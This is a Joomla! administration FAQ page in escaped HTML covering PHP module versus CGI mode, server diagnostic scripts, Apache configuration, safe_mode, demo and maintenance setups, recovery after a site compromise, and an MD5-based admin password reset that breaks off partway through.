&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including recommendations on configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]&lt;br /&gt;
&lt;br /&gt;
*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 &#039;&#039;Dormant&#039;&#039;] since August 2010)&lt;br /&gt;
&lt;br /&gt;
*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]&lt;br /&gt;
&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt; your PHP scripts, the httpd.conf needs to be modified, typically found in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out &amp;amp;quot;LoadModule&amp;amp;quot; statements. (Statements prefixed by the hash &amp;amp;quot;#&amp;amp;quot; sign are regarded as having been commented out.) If PHP is running in &amp;amp;quot;Apache Module&amp;amp;quot; Mode you should see something very similar to the following;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module &amp;amp;quot;c:/php/php4apache.dll&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 1.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
LoadModule php4_module C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
 AddModule mod_php4.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;Apache 2.x&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP5&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     C:/php/php5apache2.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php5_module     /usr/lib/apache/libphp5.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;For PHP4&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 LoadModule php4_module     libexec/libphp4.so&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or (platform dependant)&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
LoadModule php4_module     C:/php/php4apache.dll&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;b&amp;gt;and&amp;lt;/b&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php5.c&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
AddModule mod_php4.c    &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Don&#039;t worry that you can&#039;t find a &amp;amp;quot;mod_php4.c&amp;amp;quot; or &amp;amp;quot;mod_php5.c&amp;amp;quot; file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;If you&#039;re using Apache 2.x, you do not have to insert the AddModule directive. It&#039;s no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now find the &amp;amp;quot;AddType&amp;amp;quot; section in the file, and add the following line after the last &amp;amp;quot;AddType&amp;amp;quot; statement:&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you need to support other file types, like &amp;amp;quot;.php3&amp;amp;quot; and &amp;amp;quot;.phtml&amp;amp;quot;, simply add them to the list, like this:&amp;lt;&lt;br /&gt;
&lt;br /&gt;
 AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
 AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run a syntax check and if all is ok, restart Apache...&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as a CGI binary&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure PHP to run as a CGI, again you will need to configure the&lt;br /&gt;
httpd.conf, but confirm that the above settings are not also&lt;br /&gt;
configured, unless you now what you are doing you can generate yourself&lt;br /&gt;
&amp;amp;quot;HTTP 500&amp;amp;quot; errors. Search your Apache configuration file for the&lt;br /&gt;
&amp;amp;quot;ScriptAlias&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Add the following line below after the ScriptAlias for &amp;amp;quot;cgi-bin&amp;amp;quot;. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Note:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The location will depend on where PHP is installed on your system, you&lt;br /&gt;
should substitute the appropriate path in place of &amp;amp;quot;c:/php/&amp;amp;quot; (for&lt;br /&gt;
example, &amp;amp;quot;c:/Program Files/php/&amp;amp;quot;).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ScriptAlias /php/ &amp;amp;quot;c:/php/&amp;amp;quot;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Apache&lt;br /&gt;
again needs to be configured for the PHP MIME type. Search for the&lt;br /&gt;
&amp;amp;quot;AddType&amp;amp;quot; section, and add the following line after it:&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:&lt;br /&gt;
&lt;br /&gt;
AddType application/x-httpd-php .php3&amp;lt;br /&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .phtml&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the &amp;amp;quot;Action&amp;amp;quot; section.&lt;br /&gt;
&lt;br /&gt;
Action application/x-httpd-php &amp;amp;quot;/php/php.exe&amp;amp;quot;&lt;br /&gt;
&lt;br /&gt;
If you notice, we have used the &amp;amp;quot;ScriptAlias&amp;amp;quot; reference, &amp;amp;quot;/php/&amp;amp;quot; portion&lt;br /&gt;
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. &amp;lt;i&amp;gt;In other words, don&#039;t put &amp;amp;quot;c:/php/php.exe&amp;amp;quot; or &amp;amp;quot;c:/Program Files/php/php.exe&amp;amp;quot; in that directive, put&lt;br /&gt;
&amp;amp;quot;/php/php.exe&amp;amp;quot;, Apache WILL work it out if correctly configured.&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Configuring the Default Index Page&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.&lt;br /&gt;
&lt;br /&gt;
If you want to make your PHP script execute as the default page for a directory, you have to add another line to the &amp;amp;quot;httpd.conf&amp;amp;quot;. Simply search for the line in the file that begins with a &amp;amp;quot;DirectoryIndex&amp;amp;quot; and add &amp;amp;quot;index.php&amp;amp;quot; to the list of files on&lt;br /&gt;
that line. For example, if the line used to be:&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;change it to&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
DirectoryIndex index.html index.php&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you still wish .html files to be executed before .php files&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;or&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
DirectoryIndex index.php index.html&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;If you wish .php files to be executed before .html files&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The next time you access the site or a directory within a site without a&lt;br /&gt;
filename, Apache will &amp;amp;quot;auto-magically&amp;amp;quot; deliver &amp;amp;quot;index.php&amp;amp;quot; if&lt;br /&gt;
available, or &amp;amp;quot;index.html&amp;amp;quot; if &amp;amp;quot;index.php&amp;amp;quot; is not available.&lt;br /&gt;
&lt;br /&gt;
== Why shouldn&#039;t I use PHP safe_mode? ==&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.&lt;br /&gt;
&lt;br /&gt;
The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.&lt;br /&gt;
&lt;br /&gt;
Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;From the official PHP site&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&amp;quot;The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren&#039;t very realistic, many people, especially ISP&#039;s, use safe mode for now.&amp;quot;&#039;&#039; &lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]&lt;br /&gt;
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]&lt;br /&gt;
&lt;br /&gt;
= Development =&lt;br /&gt;
== How do I setup a secure demo site? ==&lt;br /&gt;
&lt;br /&gt;
In /includes/version.php look for:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 1;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 0;&lt;br /&gt;
&lt;br /&gt;
For a demo site it is advised to following:&lt;br /&gt;
&lt;br /&gt;
 /** @var string Whether site is a production = 1 or demo site = 0 */&lt;br /&gt;
 var $SITE = 0;&lt;br /&gt;
 /** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */&lt;br /&gt;
 var $RESTRICT = 1;&lt;br /&gt;
&lt;br /&gt;
 $SITE = 0&lt;br /&gt;
 // Allows multiple user logins with only one account. By default Joomla! &lt;br /&gt;
 // allows only one active session per account as a security feature.&lt;br /&gt;
&lt;br /&gt;
 $RESTRICT = 1&lt;br /&gt;
 // Disables those logging in, both Front-end and Back-end from changing &lt;br /&gt;
 // user details - like password and username&lt;br /&gt;
&lt;br /&gt;
These settings are used on the official demo site http://demo.joomla.org&lt;br /&gt;
&lt;br /&gt;
You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.&lt;br /&gt;
&lt;br /&gt;
== How can I view a live site while developing, but hide it from others? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Login to the administrator section, and choose: Site &amp;gt; Global Configuration.&lt;br /&gt;
&lt;br /&gt;
2. The first option you&#039;ll see is is to set the site offline. Choose &amp;quot;Yes&amp;quot; and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:&lt;br /&gt;
&lt;br /&gt;
 &amp;quot;This site is down for maintenance. Please check back again soon. message instead.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
3. While you are logged into the &amp;quot;back end&amp;quot; administrator system, you can still view the &amp;quot;front end,&amp;quot; by choosing Site &amp;gt; Template &amp;gt; Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.&lt;br /&gt;
&lt;br /&gt;
= Site Recovery =&lt;br /&gt;
&lt;br /&gt;
== Help! My site&#039;s been compromised. Now what? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Change all relevant passwords:&#039;&#039;&#039; Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.&lt;br /&gt;
# &#039;&#039;&#039;Check raw logs:&#039;&#039;&#039; Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.&lt;br /&gt;
# &#039;&#039;&#039;List recently modified files:&#039;&#039;&#039; Before making any changes to your site, generate a list of recently modified files. Here&#039;s a php script that will list the files for you. Remove this script as soon as you have your list and don&#039;t publish a link to it!&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious newly-created files:&#039;&#039;&#039; Use this list to identify new files that don&#039;t belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Note suspicious recently-modified files:&#039;&#039;&#039; Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.&lt;br /&gt;
# &#039;&#039;&#039;Check for bogus CRON Jobs:&#039;&#039;&#039; Hacked cron jobs can be setup to reinfect your site over and over again.&lt;br /&gt;
# &#039;&#039;&#039;Coordinate with your host:&#039;&#039;&#039; If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.&lt;br /&gt;
# &#039;&#039;&#039;Delete the entire public_html directory:&#039;&#039;&#039; This is the best way to guarantee that every potential vulnerability in that site is removed.&lt;br /&gt;
# &#039;&#039;&#039;Delete related database records:&#039;&#039;&#039; This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.&lt;br /&gt;
# &#039;&#039;&#039;Reinstall everything:&#039;&#039;&#039; Use pre-crack backups. If you don&#039;t have good backups, go on to step 10.&lt;br /&gt;
# &#039;&#039;&#039;Reset critical passwords again:&#039;&#039;&#039; You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.&lt;br /&gt;
# &#039;&#039;&#039;Rebuild site:&#039;&#039;&#039; If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions&lt;br /&gt;
# &#039;&#039;&#039;Review security processes:&#039;&#039;&#039; Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.&lt;br /&gt;
# &#039;&#039;&#039;Review backup processes:&#039;&#039;&#039; If you don&#039;t already have one, add a dependable backup process to your site administration practices.&lt;br /&gt;
# &#039;&#039;&#039;Stay watchful:&#039;&#039;&#039; Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.&lt;br /&gt;
&lt;br /&gt;
==How do I reset an administrator password?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; This method is for Joomla versions up to and including 1.0.12{{JVer|1.0}}. For later versions of Joomla and Joomla 1.5.xx versions please use this &#039;&#039;&#039;([[How_do_you_recover_your_admin_password%3F|FAQ]])&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x&#039;&#039;&#039;&lt;br /&gt;
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .&lt;br /&gt;
&lt;br /&gt;
2. Open the correct database and select the table, jos_users . (Change default table prefix, &#039;jos_&#039; to your table prefix if it is different.)&lt;br /&gt;
&lt;br /&gt;
3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)&lt;br /&gt;
&lt;br /&gt;
4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.&lt;br /&gt;
&#039;&#039;&#039;Warning:&#039;&#039;&#039; You must paste the password&#039;s hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.&lt;br /&gt;
&lt;br /&gt;
